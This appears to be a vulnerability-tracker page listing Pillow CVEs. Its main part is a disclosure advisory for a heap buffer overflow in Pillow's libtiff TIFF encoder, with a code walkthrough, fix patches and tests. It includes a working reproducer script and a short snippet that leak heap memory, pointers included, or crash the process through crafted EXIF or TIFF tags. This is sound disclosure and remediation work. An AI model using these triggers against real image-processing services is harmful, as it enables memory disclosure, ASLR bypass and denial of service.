Pillow (images Python) vulnerabilities
Historical data is still loading (NVD, last 30 days): counts will keep growing over the next hours. See source status.
In the last 30 days, 4 Pillow (images Python) vulnerabilities were published: 0 critical, 0 actively exploited. Most common weakness: CWE-770.
CVSS score: 8.4 Severity: High Identifier: CVE-2026-128067GHSA-XCVG-W56Q-R89M Pillow: Heap buffer overflow saving TIFF with libtiff when tags override image size Package: pillow fixed in 13.0.0 Published Published
============================================================================
ANT-2026-CS7N494P [high] CWE-787 memory-safety
Heap buffer overflow saving TIFF with libtiff when tags override image size
Location: src/libImaging/TiffDecode.c:1035 in ImagingLibTiffEncode()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
When Pillow saves an image as a compressed TIFF, size information taken from the image's metadata can make the encoder read past the end of a heap buffer. Someone who uploads an image can use this to get the server process's memory, including pointers, copied into the saved file, or to crash the process. When the metadata also enables TIFF "Predictor=2" compression, the encoder writes past the buffer instead, corrupting the heap and aborting the process. This affects applications that write TIFF through libtiff (any compression= other than raw) and either carry the source metadata across with exif=im.getexif() / tiffinfo=, or simply re-save a crafted palette TIFF with Image.open(f).save(out, "TIFF"), which inherits its compression and predictor from the upload.
In TiffImagePlugin._save's libtiff branch, only BitsPerSample is pinned to the real image when the tag list for the encoder is built (src/PIL/TiffImagePlugin.py:1955). ImageWidth, ImageLength and PlanarConfiguration are set from im.size but are then overwritten by the exif=/tiffinfo= merge loop at :1768-1772. SamplesPerPixel is never set for single-band modes, so a value from the caller's tags or from the source TIFF's own IFD reaches TIFFSetField. ImagingLibTiffEncode then passes a row buffer sized from the actual image (src/encode.c:291) to TIFFWriteScanline (src/libImaging/TiffDecode.c:1035) with no check against TIFFScanlineSize(), and libtiff consumes a full scanline of the tag-described width from it.
The attached reproducer demonstrates the read case. A 64x4 greyscale JPEG whose EXIF says SamplesPerPixel=3, Photometric=RGB is converted into a valid RGB TIFF in which 128 bytes of each row are live heap, including pointers that change from run to run. The same JPEG with EXIF ImageWidth=2**27 kills the process with SIGSEGV. For the write case, the values written are byte-wise differences of existing heap contents rather than attacker-chosen data, and nothing beyond the observed glibc abort is shown. The tiffinfo= route dates back to Pillow 2.3.0 (dbf47837ce99), and the exif= route to 8.4.0 (c0f619384cbc).
Details
When an image is saved as TIFF through the libtiff encoder (any compression= other than raw, or TiffImagePlugin.WRITE_LIBTIFF), libtiff sizes its scanline from the ImageWidth / SamplesPerPixel / BitsPerSample / PlanarConfiguration tags it was handed, Pillow sizes the encoder row buffer from the real image, and nothing compares the two. In TiffImagePlugin._save's libtiff branch only BitsPerSample is pinned in the attribute dict given to the encoder (atts, src/PIL/TiffImagePlugin.py:1955-1982); the other geometry tags can come from caller- or attacker-supplied data:
ImageWidth(256),ImageLength(257) andPlanarConfiguration(284) are set fromim.sizebefore thetiffinfo=/exif=merge loop at:1768-1772, so they are overwritten by it — by the EXIF of an uploaded JPEG, or by stale geometry inim.getexif()/im.tag_v2of a TIFF that Pillow auto-transposed on load (Orientation tag) or that the applicationthumbnail()ed.SamplesPerPixel(277) is only put in the IFD for multi-band modes (:1847-1850), so for single-band images (L,P,I;16,1, …) a value fromexif=/tiffinfo=, or from the source TIFF's own IFD viasupplied_tags(im.tag_v2,:1782), is forwarded to libtiff. A palette TIFF withSamplesPerPixel=2, BitsPerSample=(8,8), ExtraSamples=(0,)opens as modeP(rawmodePX, extra sample dropped), and a bareim.save(out, "TIFF")— no save arguments;compressionandPredictorare inherited from the source — already makes libtiff process2*widthbytes per row from awidth-byte buffer.
ImagingLibTiffEncode then hands the image-sized row buffer to TIFFWriteScanline, and libtiff reads one scanline of the tag-described geometry out of a buffer holding one row of the actual image. With Predictor = 2 (also forwarded from tiffinfo= / im.tag_v2) libtiff's horizontal differencing first rewrites the whole scanline in place, so the over-read becomes an out-of-bounds heap write on every row.
The tags do not have to be supplied deliberately by the application: im.getexif() of an uploaded JPEG returns whatever IFD0 tags the file carries, and the common metadata-preserving conversion
im = Image.open(uploaded_jpeg) # 64x4, mode "L"
im.save(out, "TIFF", exif=im.getexif(), compression="tiff_lzw")
behaves as follows on the stock build at this commit:
- EXIF IFD0
{277: 3, 262: 2}(SamplesPerPixel=3, Photometric=RGB): the save succeeds andoutis a 64x4 RGB TIFF. Re-opening it, the first 64 bytes of every 192-byte row are the image (0x11 fill); the remaining 128 bytes are heap that followed the 64-byte row buffer — e.g.... 807a97e6527f0000 ... f03632e5527f0000 40832ee5527f0000(x86-64 heap pointers), different on every run. - EXIF IFD0
{256: 1<<27}(ImageWidth=2^27): the process dies with SIGSEGV; gdb showsTIFFWriteScanline (libtiff.so.6) ← ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1035) ← _encode (src/encode.c:139). - valgrind on the first case:
Invalid read of size 1 … TIFFWriteScanline … by ImagingLibTiffEncode … Address is 0 bytes after a block of size 64 alloc'd at calloc by _setimage. - Control: the same JPEG with an EXIF holding only
Softwareproduces a 64x4LTIFF whose 256 pixel bytes are all 0x11.
The write variant needs nothing more than a well-formed 222-byte TIFF and the exif=im.getexif() idiom the project's own tests use (Tests/test_file_tiff.py::test_exif, test_modify_exif); the interpreter dies with glibc's free(): invalid next size (fast) (SIGABRT):
from PIL import Image; import io
b = io.BytesIO()
Image.new("RGB", (64, 4)).save(b, "TIFF", compression="tiff_lzw", tiffinfo={274: 6, 317: 2}) # Orientation=6, Predictor=2
im = Image.open(io.BytesIO(b.getvalue())); im.load() # auto-transposed to 4x64; tag_v2/getexif() still say 64x4
im.save(io.BytesIO(), "TIFF", exif=im.getexif()) # or tiffinfo=im.tag_v2
Here libtiff processes 192-byte rows (64 px × 3 samples) from the 12-byte buffer _setimage allocated for a 4-pixel RGB row, and PredictorEncodeRow rewrites the 180 heap bytes that follow it on each of 64 rows; valgrind on a -g build reports Invalid write of size 1 … TIFFWriteScanline … by ImagingLibTiffEncode (TiffDecode.c:1035) … Address is 0 bytes after a block of size 12 alloc'd … by _setimage (encode.c:293). im.thumbnail((8, 8)) before the save instead of the Orientation tag reaches the same state, as does the purely programmatic Image.new("RGB", (128, 32)).save(fp, "TIFF", compression="tiff_lzw", tiffinfo={256: 1024, 257: 128, 317: 2}) (SIGSEGV). For the source-IFD SamplesPerPixel route, a crafted <2 KB palette PX TIFF with Compression = LZW, Predictor = 2 kills the stock build on a bare Image.open(f).save(out, "TIFF"); with a predictor-less codec the same re-save returns normally with width bytes of heap per row encoded into the output.
Walk-through
_save seeds the output IFD from the image and then copies the caller's tags over it:
# src/PIL/TiffImagePlugin.py
1746 libtiff = WRITE_LIBTIFF or compression != "raw"
1749 ifd[PLANAR_CONFIGURATION] = 1
1751 ifd[IMAGEWIDTH] = im.size[0]
1752 ifd[IMAGELENGTH] = im.size[1]
…
1757 elif "exif" in encoderinfo:
1758 info = encoderinfo["exif"] # Image.Exif, or bytes → Exif
…
1768 for key in info:
…
1772 ifd[key] = info.get(key) # 256/257/277/262/284/317 … overwrite the above
The geometry is only partially re-asserted afterwards: BITSPERSAMPLE is always set, but SAMPLESPERPIXEL only for multi-band modes and IMAGEWIDTH/IMAGELENGTH never:
1847 if bits != (1,):
1848 ifd[BITSPERSAMPLE] = bits
1849 if len(bits) != 1:
1850 ifd[SAMPLESPERPIXEL] = len(bits) # not reached for L, P, I, F, I;16 …
1856 if PHOTOMETRIC_INTERPRETATION not in ifd: # supplied value kept
In the libtiff branch every IFD entry that is not block-listed — and, after the IFD, every entry of supplied_tags (the source file's im.tag_v2) not already present — becomes a TIFFSetField argument. The only tag pinned to the image's real value is BITSPERSAMPLE:
1955 atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}
1959 for tag, value in itertools.chain(ifd.items(), supplied_tags.items()):
…
1976 if tag not in atts and tag not in blocklist:
… atts[tag] = value
2002 encoder = Image._getencoder(im.mode, "libtiff", a, encoderconfig)
2003 encoder.setimage(im.im, (0, 0, *im.size))
For the SamplesPerPixel=3 example the tag list passed to the encoder is [(256, 64), (257, 4), (258, 8), (259, 5), (262, 2), (277, 3), (278, 4), (284, 1)]; for the ImageWidth example it is [(256, 134217728), (257, 4), (258, 8), …]. 256 and 277 are in core_tags (src/encode.c:694), so PyImaging_LibTiffEncoderNew forwards them straight to TIFFSetField. For a single-band image SAMPLESPERPIXEL is absent from ifd, so the loop takes tag 277 from supplied_tags — the source TIFF's IFD — when one is present; the PLANAR_CONFIGURATION == 2 adjustment at :1783-1788 already compensates for this for separate-planes sources, the contiguous PX layout is the remaining case.
encoder.setimage sizes the packer's row buffer from the real image — 64 bytes for a 64-pixel L row:
/* src/encode.c, _setimage */
287 if (state->bits > 0) {
291 state->bytes = (state->bits * state->xsize + 7) / 8;
293 state->buffer = (UINT8 *)calloc(1, state->bytes);
and ImagingLibTiffEncode packs one image row into it and gives the pointer to libtiff with no length:
/* src/libImaging/TiffDecode.c */
1027 while (state->y < state->ysize) {
1028 state->shuffle(state->buffer, (UINT8 *)im->image[state->y + state->yoff] + …, state->xsize);
1035 if (TIFFWriteScanline(tiff, (tdata_t)(state->buffer), (uint32_t)state->y, 0) == -1) {
TIFFWriteScanline consumes TIFFScanlineSize() bytes, i.e. ImageWidth * SamplesPerPixel * BitsPerSample / 8 as set through the tags. Nothing between _save and line 1035 compares that with state->bytes. With SamplesPerPixel=3 libtiff reads 192 bytes from the 64-byte block and LZW-encodes the trailing 128 heap bytes into the strip; with ImageWidth=2^27 it reads 128 MiB starting at the 64-byte block and faults. With Predictor = 2, libtiff's PredictorEncodeRow first runs horizontal differencing in place over the whole scanline (bp[i] -= bp[i-stride]), i.e. it rewrites the heap bytes that follow the block before encoding them; libtiff grows ImageLength as rows beyond the declared count are written, so every row of the real image goes through. A PlanarConfiguration = 2 carried over from a planar source reaches libtiff by the same route; there libtiff's scanline (one sample plane) is shorter than Pillow's row, so the result is an undecodable file rather than an out-of-bounds access.
The non-libtiff path (compression absent/raw) is not affected: it goes through ImagingRawEncode, which treats the IFD-derived stride as padding and either zero-fills or fails with IMAGING_CODEC_CONFIG (src/libImaging/RawEncode.c:34-37,57-59). Overriding IMAGEWIDTH/IMAGELENGTH through tiffinfo on that path is an intended feature (Tests/test_file_tiff.py::test_tiff_chunks).
The exif= route was introduced in c0f619384cbc ("Added "exif" keyword argument to save Image.Exif instance", 2021-07-04), first released in 8.4.0. The same override through tiffinfo= is older: it dates back to dbf47837ce99 ("Add arbitrary tags to tiff images using an ImageFileDirectory", 2013-10-02, first in 2.3.0). The stale-geometry-from-the-file-itself form dates from 1b70a4c6b515 ("Use TIFF orientation", 2019-09-13, first in 6.2.0), which added the transpose on load.
Impact
Affected are applications that write TIFF output from user-supplied images through libtiff. Through the source-IFD SamplesPerPixel route nothing more is needed than Image.open(f).save(out, "TIFF") (format normalisation) on a crafted palette TIFF: Compression, SamplesPerPixel and Predictor are all inherited from the upload, so the uploader chooses between heap corruption / worker abort (Predictor = 2) and a normally-returning save whose output carries width bytes of the worker's heap per row. The exif= / tiffinfo= routes cover applications that convert to compressed TIFF while carrying the metadata across — im.save(..., "TIFF", compression="tiff_lzw"|"tiff_adobe_deflate"|"packbits"|"jpeg"|…, exif=im.getexif()), exif=im.info["exif"], or tiffinfo= built from the source file's tags. Neither option is a default, but both are ordinary settings for archival/print/scan pipelines and the idiom used in Pillow's own tests. The uploader then chooses the outcome through a few EXIF shorts: a small SamplesPerPixel (with a matching Photometric so the result is a valid RGB/CMYK TIFF) returns (spp-1) × width bytes of process heap per image row inside the produced file — for a 4000-pixel-wide upload that is 8 KB of heap per row, megabytes per file, readable with any TIFF decoder and containing allocator metadata, pointers (ASLR defeat) and whatever other requests left in freed memory; a large ImageWidth kills the worker with SIGSEGV; ImageWidth/ImageLength larger than the (transposed or thumbnailed) image together with Predictor = 2 writes (declared_width − real_width) × bytes_per_pixel bytes past a small fresh calloc block on every row — the values written are byte-wise differences of the existing heap contents, so the attacker controls extent and repetition but not directly the data; the observed result is heap corruption and abort of the whole worker, exploitation beyond that is not demonstrated. Because ImageWidth/ImageLength are routinely present in IFD0 of camera and scanner output, a benign photo that is resized before such a save also over-reads (its EXIF still describes the original width), so the crash variant can occur without an attacker.
Reproducing
repro is a single Python script that uses the installed Pillow and only its public API; no rebuild is needed. It runs in well under a second.
It builds the attacker's input in memory: a 64x4 JPEG in mode L with every pixel set to 0x11, plus a chosen set of EXIF IFD0 tags. It then runs the metadata-preserving conversion an application would do:
im = Image.open(io.BytesIO(jpeg))
im.save(out, "TIFF", exif=im.getexif(), compression="tiff_lzw")
Finally it re-opens the TIFF that comes out. There are three cases:
- control: the EXIF holds only
Software. The output is a 64x4LTIFF whose 256 bytes are all 0x11. The verdict can only beBUGif this holds. - leak: the EXIF holds
SamplesPerPixel=3, PhotometricInterpretation=RGB. libtiff now treats each scanline as 192 bytes, but the row buffer only holds 64 bytes. The save still succeeds and the output is a 64x4RGBTIFF. In each 192-byte row, the first 64 bytes are the image (0x11). The other 128 bytes are whatever sat in the heap after the 64-byte row buffer.- The script hex-dumps row 0's extra bytes. They include x86-64 pointers such as
…e06c297e677f0000, which change from run to run because of ASLR. - It also counts the extra bytes that are neither 0x11 nor 0x00, since those could not have come from the image or from zero padding. On the stock build this is a few hundred of the 512 bytes (200–310 in our runs).
- The script hex-dumps row 0's extra bytes. They include x86-64 pointers such as
- crash: the EXIF holds
ImageWidth=2**27. The script re-runs itself as a child process (repro crash) with core dumps disabled. libtiff tries to read 128 MiB out of the 64-byte buffer, and the child dies with SIGSEGV (exit code -11).
Expected output on the stock build (the heap bytes and the count vary):
control: L (64, 4), all bytes 0x11: True
leak: RGB (64, 4)
first 64 bytes of each row are the image (0x11): True
row 0, bytes 64..192 (past the row buffer):
0000000000000000310000000000000090e5b50669550000e06c297e677f0000
0000000001007900007b8804d80c0d8830000000000000001007000000000000
0100000000000000801a897e677f0000240300000000000030444a7d677f0000
4095487d677f0000885f897e677f000003000001010000000000000000000000
220 of 512 bytes past the row buffers are neither 0x11 nor 0x00
crash: child exit code -11 (SIGSEGV)
BUG
The last line is BUG if the control is clean and the leak case produced foreign bytes, the crash case died with SIGSEGV/SIGBUS, or both. Otherwise it is OK.
With either attached patch applied and rebuilt, the script prints:
control: L (64, 4), all bytes 0x11: True
leak: output is not a readable image (no over-read)
crash: child exit code 0 (no signal)
OK
In the leak case, the fixed build writes the image's real single sample per pixel but keeps the supplied Photometric=RGB. Pillow will not open a TIFF like that.
The out-of-bounds write variant is the three-line Orientation=6, Predictor=2 snippet in Details (SIGABRT, free(): invalid next size (fast) on the stock build); for a file:line stack run it under valgrind on a -g build of the extensions.
Suggested fix
Two alternative patches are attached. Patch 2 is the Python-only subset of patch 1; patch 1 also hardens the C encoder.
Attached patch 1 (src/PIL/TiffImagePlugin.py, src/libImaging/TiffDecode.c) does two independent things:
src/PIL/TiffImagePlugin.py:1955— the libtiff branch already pre-seedsattswithBITSPERSAMPLEso that no supplied tag can replace it. The patch extends that to the other tags that determine libtiff's scanline size, taken from the image being saved:
- atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}
+ atts: dict[int, Any] = {
+ BITSPERSAMPLE: bits[0],
+ SAMPLESPERPIXEL: len(bits),
+ IMAGEWIDTH: im.size[0],
+ IMAGELENGTH: im.size[1],
+ PLANAR_CONFIGURATION: 1,
+ }
Doing it here rather than in the IFD built at 1749–1772 leaves the raw-writer behaviour exercised by test_tiff_chunks untouched, and because the merge loop visits ifd and supplied_tags only for tags not already in atts, it closes the exif=, tiffinfo= and source-IFD (im.tag_v2) routes alike. A supplied PHOTOMETRIC_INTERPRETATION still reaches the file (so EXIF {277:3, 262:2} now yields a 1-sample "RGB" TIFF that Pillow refuses to open); whether to force it to the mode's value is a format decision that no longer affects memory safety. For the re-saved PX palette case it may also be worth dropping the source's EXTRASAMPLES from supplied_tags (meaningless once the extra channel was discarded on load), as is already done for the planar case at :1783-1788, so the output is a self-consistent 1-sample palette file.
src/libImaging/TiffDecode.c,ImagingLibTiffEncode— before the scanline loop, it refuses any configuration in which libtiff would read more than the packer produced, so the encoder stays safe regardless of where tags come from:
if (TIFFScanlineSize64(tiff) > (uint64_t)state->bytes) {
state->errcode = IMAGING_CODEC_CONFIG;
ImagingLibTiffEncodeCleanup(state);
clientstate->tiff = NULL;
if (!clientstate->fp) {
free(clientstate->data);
}
return -1;
}
The same cleanup is applied to the existing TIFFWriteScanline error path. For in-memory output, that path currently frees clientstate->data but leaves clientstate->tiff set, so the later ImagingLibTiffEncodeCleanup → TIFFClose → TIFFFlush writes into the freed buffer. Both error paths now close the TIFF before the data is freed. The TIFFFlush failure branch further down (src/libImaging/TiffDecode.c:1056) has the same pattern and is left as it is.
Attached patch 2 (src/PIL/TiffImagePlugin.py only) is step 1 above without the C changes, for maintainers who prefer not to touch the encoder. It closes every public-API route (exif=, tiffinfo=, a resized or transposed image's carried-over EXIF/tag_v2) by which these tags reach TIFFSetField. ImagingLibTiffEncode still trusts its tag list, though, and the error-path use-after-free described above stays as it is.
Both patches add Tests/test_file_libtiff.py::test_geometry_tags, parametrised over oversized IMAGEWIDTH/IMAGELENGTH, SAMPLESPERPIXEL=3 and PLANAR_CONFIGURATION=2. With either patch applied to a clean checkout and rebuilt, repro prints OK, the Predictor = 2 snippet in Details saves a 4×64 image normally, and the existing TIFF test suites still pass.
The patch (1 of 2)
Take libtiff scanline geometry tags from the image, not tiffinfo/exif, and make ImagingLibTiffEncode reject a scanline larger than its row buffer
Applies to src/PIL/TiffImagePlugin.py at the commit above.
diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..36fe5f6b9 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -395,6 +395,28 @@ class TestFileLibTiff(LibTiffTestCase):
with pytest.raises(ValueError, match="Incorrect tag value type"):
im.save(out, tiffinfo=ifd)
+ @pytest.mark.parametrize(
+ "tiffinfo",
+ (
+ {TiffImagePlugin.IMAGEWIDTH: 1 << 27},
+ {TiffImagePlugin.IMAGELENGTH: 1 << 27},
+ {TiffImagePlugin.SAMPLESPERPIXEL: 3},
+ {TiffImagePlugin.PLANAR_CONFIGURATION: 2},
+ ),
+ )
+ def test_geometry_tags(
+ self, tiffinfo: dict[int, int], monkeypatch: pytest.MonkeyPatch, tmp_path: Path
+ ) -> None:
+ # The geometry of the image is used, not the geometry from tiffinfo.
+ # Otherwise libtiff would read past the end of the row buffer.
+ monkeypatch.setattr(TiffImagePlugin, "WRITE_LIBTIFF", True)
+
+ out = tmp_path / "temp.tif"
+ im = hopper("L")
+ im.save(out, tiffinfo=tiffinfo)
+
+ assert_image_equal_tofile(im, out)
+
def test_inknames_tag(
self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
diff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py
index 42c1cc96c..aa0895966 100644
--- a/src/PIL/TiffImagePlugin.py
+++ b/src/PIL/TiffImagePlugin.py
@@ -1952,7 +1952,16 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:
]
# bits per sample is a single short in the tiff directory, not a list.
- atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}
+ # The tags that determine the size of a scanline are taken from the image,
+ # not from tiffinfo/exif: libtiff reads a scanline of the size that they
+ # describe from a buffer that holds one row of the image.
+ atts: dict[int, Any] = {
+ BITSPERSAMPLE: bits[0],
+ SAMPLESPERPIXEL: len(bits),
+ IMAGEWIDTH: im.size[0],
+ IMAGELENGTH: im.size[1],
+ PLANAR_CONFIGURATION: 1,
+ }
# Merge the ones that we have with (optional) more bits from
# the original file, e.g x,y resolution so that we can
# save(load('')) == original file.
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..6570666fc 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -1023,6 +1023,23 @@ ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8 *buffer, int byt
dump_state(clientstate);
if (state->state == 0) {
+ // state->buffer holds one row of the image, but TIFFWriteScanline reads
+ // a scanline of the size described by the IMAGEWIDTH, SAMPLESPERPIXEL
+ // and BITSPERSAMPLE tags, so these must not describe a larger row.
+ if (TIFFScanlineSize64(tiff) > (uint64_t)state->bytes) {
+ TRACE(("Scanline size exceeds the row buffer\n"));
+ state->errcode = IMAGING_CODEC_CONFIG;
+
+ // Closing the tiff flushes it into clientstate->data, so do that
+ // before the data is freed, rather than in the encoder cleanup.
+ ImagingLibTiffEncodeCleanup(state);
+ clientstate->tiff = NULL;
+ if (!clientstate->fp) {
+ free(clientstate->data);
+ }
+ return -1;
+ }
+
TRACE(("Encoding line by line"));
while (state->y < state->ysize) {
state->shuffle(
@@ -1038,10 +1055,9 @@ ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8 *buffer, int byt
TRACE(("Encode Error, row %d\n", state->y));
state->errcode = IMAGING_CODEC_BROKEN;
- if (clientstate->fp) {
- TIFFCleanup(tiff);
- clientstate->tiff = NULL;
- } else {
+ ImagingLibTiffEncodeCleanup(state);
+ clientstate->tiff = NULL;
+ if (!clientstate->fp) {
free(clientstate->data);
}
return -1;
The patch (2 of 2)
Take libtiff scanline geometry tags (width, length, samples per pixel, planar config) from the image being saved instead of tiffinfo/exif
Applies to src/PIL/TiffImagePlugin.py at the commit above.
diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..36fe5f6b9 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -395,6 +395,28 @@ class TestFileLibTiff(LibTiffTestCase):
with pytest.raises(ValueError, match="Incorrect tag value type"):
im.save(out, tiffinfo=ifd)
+ @pytest.mark.parametrize(
+ "tiffinfo",
+ (
+ {TiffImagePlugin.IMAGEWIDTH: 1 << 27},
+ {TiffImagePlugin.IMAGELENGTH: 1 << 27},
+ {TiffImagePlugin.SAMPLESPERPIXEL: 3},
+ {TiffImagePlugin.PLANAR_CONFIGURATION: 2},
+ ),
+ )
+ def test_geometry_tags(
+ self, tiffinfo: dict[int, int], monkeypatch: pytest.MonkeyPatch, tmp_path: Path
+ ) -> None:
+ # The geometry of the image is used, not the geometry from tiffinfo.
+ # Otherwise libtiff would read past the end of the row buffer.
+ monkeypatch.setattr(TiffImagePlugin, "WRITE_LIBTIFF", True)
+
+ out = tmp_path / "temp.tif"
+ im = hopper("L")
+ im.save(out, tiffinfo=tiffinfo)
+
+ assert_image_equal_tofile(im, out)
+
def test_inknames_tag(
self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path
) -> None:
diff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py
index 42c1cc96c..aa0895966 100644
--- a/src/PIL/TiffImagePlugin.py
+++ b/src/PIL/TiffImagePlugin.py
@@ -1952,7 +1952,16 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:
]
# bits per sample is a single short in the tiff directory, not a list.
- atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}
+ # The tags that determine the size of a scanline are taken from the image,
+ # not from tiffinfo/exif: libtiff reads a scanline of the size that they
+ # describe from a buffer that holds one row of the image.
+ atts: dict[int, Any] = {
+ BITSPERSAMPLE: bits[0],
+ SAMPLESPERPIXEL: len(bits),
+ IMAGEWIDTH: im.size[0],
+ IMAGELENGTH: im.size[1],
+ PLANAR_CONFIGURATION: 1,
+ }
# Merge the ones that we have with (optional) more bits from
# the original file, e.g x,y resolution so that we can
# save(load('')) == original file.
The reproducer
Reproducer — repro, 4,352 bytes (click to open)
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
#!/usr/bin/env python3
"""
Heap over-read in Pillow's libtiff encoder, driven by EXIF tags of an uploaded file.
An application converts an uploaded JPEG to compressed TIFF and keeps its metadata:
im.save(out, "TIFF", exif=im.getexif(), compression="tiff_lzw")
TiffImagePlugin._save forwards the EXIF's ImageWidth (256) / SamplesPerPixel (277) to
libtiff, so libtiff's scanline size follows the EXIF, while the row buffer that
ImagingLibTiffEncode hands to TIFFWriteScanline (src/libImaging/TiffDecode.c:1035) is
sized from the real image (src/encode.c:291). libtiff reads past the end of it.
control EXIF {Software} -> 64x4 "L" TIFF, every byte 0x11
leak EXIF {SamplesPerPixel=3, Photometric=RGB}
-> 64x4 "RGB" TIFF: 64 image bytes + 128
bytes of process heap in every row
crash EXIF {ImageWidth=2**27} -> libtiff reads 128 MiB from a 64-byte
buffer: SIGSEGV
"""
import io
import resource
import signal
import subprocess
import sys
from PIL import Image, UnidentifiedImageError
W, H, GREY = 64, 4, 0x11
def uploaded_jpeg(exif_tags):
"""The attacker's file: a 64x4 solid-grey JPEG whose EXIF IFD0 holds exif_tags."""
exif = Image.Exif()
exif.update(exif_tags)
buf = io.BytesIO()
Image.new("L", (W, H), GREY).save(buf, "JPEG", quality=100, exif=exif.tobytes())
return buf.getvalue()
def convert_to_tiff(jpeg):
"""The application: metadata-preserving conversion to LZW TIFF.
Returns the resulting TIFF re-opened, or None if Pillow cannot read it back."""
im = Image.open(io.BytesIO(jpeg))
out = io.BytesIO()
im.save(out, "TIFF", exif=im.getexif(), compression="tiff_lzw")
try:
return Image.open(out)
except UnidentifiedImageError:
return None
if sys.argv[1:] == ["crash"]:
# Child process for the crash case (see the end of the script).
convert_to_tiff(uploaded_jpeg({256: 1 << 27})) # ImageWidth = 2**27
sys.exit(0)
# --- Control: EXIF without geometry tags converts cleanly ----------------------------
tiff = convert_to_tiff(uploaded_jpeg({305: "control"})) # Software
control_clean = (tiff.mode, tiff.size) == ("L", (W, H)) and set(tiff.tobytes()) == {GREY}
print(f"control: {tiff.mode} {tiff.size}, all bytes 0x{GREY:02x}: {control_clean}")
# --- Leak: EXIF says 3 samples per pixel, so libtiff reads 3*64 bytes per row --------
# from the 64-byte row buffer. Everything past byte 64 of each row is not image data.
tiff = convert_to_tiff(uploaded_jpeg({277: 3, 262: 2})) # SamplesPerPixel, Photometric=RGB
leaked = False
if tiff is None:
# A fixed build writes the image's real 1 sample per pixel, and Pillow will not
# open a 1-sample "RGB" TIFF: nothing was read past the row buffer.
print("leak: output is not a readable image (no over-read)")
else:
pixels = tiff.tobytes()
row = W * 3
image_part = b"".join(pixels[y * row : y * row + W] for y in range(H))
beyond = b"".join(pixels[y * row + W : (y + 1) * row] for y in range(H))
# Bytes that are neither the image's grey nor zero padding can only be heap contents.
foreign = sum(b not in (GREY, 0) for b in beyond)
print(f"leak: {tiff.mode} {tiff.size}")
print(f" first {W} bytes of each row are the image (0x{GREY:02x}): "
f"{set(image_part) == {GREY}}")
print(f" row 0, bytes {W}..{row} (past the row buffer):")
for i in range(W, row, 32):
print(" " + pixels[i : i + 32].hex())
print(f" {foreign} of {len(beyond)} bytes past the row buffers are neither "
f"0x{GREY:02x} nor 0x00")
leaked = foreign > 0
# --- Crash: EXIF says the image is 2**27 pixels wide ---------------------------------
child = subprocess.run(
[sys.executable, __file__, "crash"],
preexec_fn=lambda: resource.setrlimit(resource.RLIMIT_CORE, (0, 0)), # no core file
capture_output=True,
)
crashed = child.returncode in (-signal.SIGSEGV, -signal.SIGBUS)
outcome = signal.Signals(-child.returncode).name if child.returncode < 0 else "no signal"
print(f"crash: child exit code {child.returncode} ({outcome})")
print("BUG" if control_clean and (leaked or crashed) else "OK")
- Exploitation
- No known exploitation
- EPSS
- 0.52% chance of exploitation in the next 30 days, higher than 37.8% of CVEs
- CVSS
- 8.4 out of 10 · source GitHub
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N - Versions
- <= 12.3.0 · fixed in 13.0.0
- Weakness
- CWE-787
- Linked via
- ecosystem package
- Sources
- GitHub
- Dates
- published Nov 12, 2026 · first seen here 6 min ago
CVSS score: 8.3 Severity: High Identifier: CVE-2026-112902BIT-pillow-2026-112902 · GHSA-XVH5-G6GV-559V Pillow is a Python imaging library. Package: pillow fixed in 13.0.0 Published Published
Pillow is a Python imaging library. In versions through 12.3.0, the libtiff TIFF encoder can pass arguments to TIFFSetField() that do not match libtiff’s definition of the corresponding tag. When an application saves attacker-controlled image metadata through this encoder, crafted tag values can cause invalid memory reads, copying process memory into the encoded output or crashing the process. Applications that return the encoded output to an attacker can disclose that memory. The issue is reachable when re-saving compressed TIFF images and through certain conversions that preserve EXIF metadata into compressed TIFF output. This vulnerability is fixed in version 13.0.0.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 8.3 out of 10 · source NVD (github.com)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Versions
- <13.0.0 · fixed in 13.0.0
- Weakness
- CWE-686
- Linked via
- ecosystem package
- Sources
- NVD · OSV
- Dates
- published Nov 5, 2026 · first seen here 8 min ago
CVSS score: 6.3 Severity: Medium Identifier: CVE-2026-112899 Pillow is a Python imaging library. Package: pillow fixed in 13.0.0 Published Published
Pillow is a Python imaging library. In versions 2.3.0 through 12.3.0, EPS rendering does not validate the scaled image dimensions before invoking Ghostscript. Applications that process untrusted EPS or PostScript files using an application-selected scale greater than one can incur excessive Ghostscript CPU and temporary disk consumption. In versions with decompression-bomb protection, the scaled output is checked only after Ghostscript has completed rendering, allowing resource consumption beyond the configured pixel limit. The amplification depends on the scale selected by the application, not an attacker-controlled scale value. This issue is fixed in version 13.0.0.
- Exploitation
- No known exploitation
- EPSS
- —
- CVSS
- 6.3 out of 10 · source NVD (github.com)
